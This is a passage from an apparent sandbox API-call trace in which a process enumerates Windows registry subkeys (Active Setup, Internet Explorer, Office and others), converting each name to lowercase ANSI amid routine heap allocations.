lpName="Active Setup") returned 0x0 [0229.760] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.762] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x2189210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0229.762] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.762] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.763] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.763] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.763] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2183058, cchName=0x104 | out: lpName="ActiveMovie") returned 0x0 [0229.763] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.763] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x2189138, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activemovie", lpUsedDefaultChar=0x0) returned 11 [0229.764] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.764] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.764] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.764] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.764] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2183058, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0229.765] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0229.765] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x2189210, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0229.766] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.766] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.769] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.769] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2183058, cchName=0x104 | out: lpName="ASF Stream Descriptor File") returned 0x0 [0229.769] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0229.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x2189138, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asf stream descriptor file", lpUsedDefaultChar=0x0) returned 26 [0229.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2183058, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0229.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x2189210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0229.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2183058, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0229.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x2189138, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0229.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2183058, cchName=0x104 | out: lpName="CTF") returned 0x0 [0229.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x2189210, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0229.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2183058, cchName=0x104 | out: lpName="Direct3D") returned 0x0 [0229.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x2189138, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="direct3d", lpUsedDefaultChar=0x0) returned 8 [0229.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2183058, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0229.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x2189210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0229.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2183058, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0229.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x2189138, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0229.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2183058, cchName=0x104 | out: lpName="Fax") returned 0x0 [0229.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x2189210, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0229.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2183058, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0229.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x2189138, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0229.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2183058, cchName=0x104 | out: lpName="FTP") returned 0x0 [0229.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x2189210, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp", lpUsedDefaultChar=0x0) returned 3 [0229.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2183058, cchName=0x104 | out: lpName="GDIPlus") returned 0x0 [0229.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x2189138, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gdiplus", lpUsedDefaultChar=0x0) returned 7 [0229.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2183058, cchName=0x104 | out: lpName="IAM") returned 0x0 [0229.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x2189210, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iam", lpUsedDefaultChar=0x0) returned 3 [0229.792] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2183058, cchName=0x104 | out: lpName="IME") returned 0x0 [0229.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x2189138, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0229.793] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2183058, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0229.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x2189210, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0229.799] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2183058, cchName=0x104 | out: lpName="IMEMIP") returned 0x0 [0229.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x2189138, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imemip", lpUsedDefaultChar=0x0) returned 6 [0229.799] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2183058, cchName=0x104 | out: lpName="Internet Connection Wizard") returned 0x0 [0229.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0229.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x2189210, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet connection wizard", lpUsedDefaultChar=0x0) returned 26 [0229.799] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2183058, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0229.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x2189138, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0229.800] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2183058, cchName=0x104 | out: lpName="Internet Mail and News") returned 0x0 [0229.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0229.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x2189210, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet mail and news", lpUsedDefaultChar=0x0) returned 22 [0229.800] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2183058, cchName=0x104 | out: lpName="Java VM") returned 0x0 [0229.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x2189138, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java vm", lpUsedDefaultChar=0x0) returned 7 [0229.800] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2183058, cchName=0x104 | out: lpName="Keyboard") returned 0x0 [0229.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x2189210, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard", lpUsedDefaultChar=0x0) returned 8 [0229.800] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2183058, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0229.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x2189138, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0229.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2183058, cchName=0x104 | out: lpName="Microsoft Management Console") returned 0x0 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x2189210, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft management console", lpUsedDefaultChar=0x0) returned 28 [0229.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2183058, cchName=0x104 | out: lpName="MS Design Tools") returned 0x0 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x2189138, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms design tools", lpUsedDefaultChar=0x0) returned 15 [0229.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2183058, cchName=0x104 | out: lpName="MSDAIPP") returned 0x0 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x2189210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdaipp", lpUsedDefaultChar=0x0) returned 7 [0229.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2183058, cchName=0x104 | out: lpName="MSF") returned 0x0 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x2189138, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0229.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2183058, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x2189210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0229.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2183058, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x2189138, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0229.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2183058, cchName=0x104 | out: lpName="Office") returned 0x0 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x2189210, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0229.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2183058, cchName=0x104 | out: lpName="PeerNet") returned 0x0 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x2189138, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peernet", lpUsedDefaultChar=0x0) returned 7 [0229.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2183058, cchName=0x104 | out: lpName="Protected Storage System Provider") returned 0x0 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x2189210, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protected storage system provider", lpUsedDefaultChar=0x0) returned 33 [0229.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2183058, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x2189138, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0229.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2183058, cchName=0x104 | out: lpName="RAS Phonebook") returned 0x0 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x2189210, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras phonebook", lpUsedDefaultChar=0x0) returned 13 [0229.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2183058, cchName=0x104 | out: lpName="Remote Assistance") returned 0x0 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x2189138, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remote assistance", lpUsedDefaultChar=0x0) returned 17 [0229.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2183058, cchName=0x104 | out: lpName="Shared") returned 0x0 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.802] WideCharToMultiByte (in: CodePage=0x0, 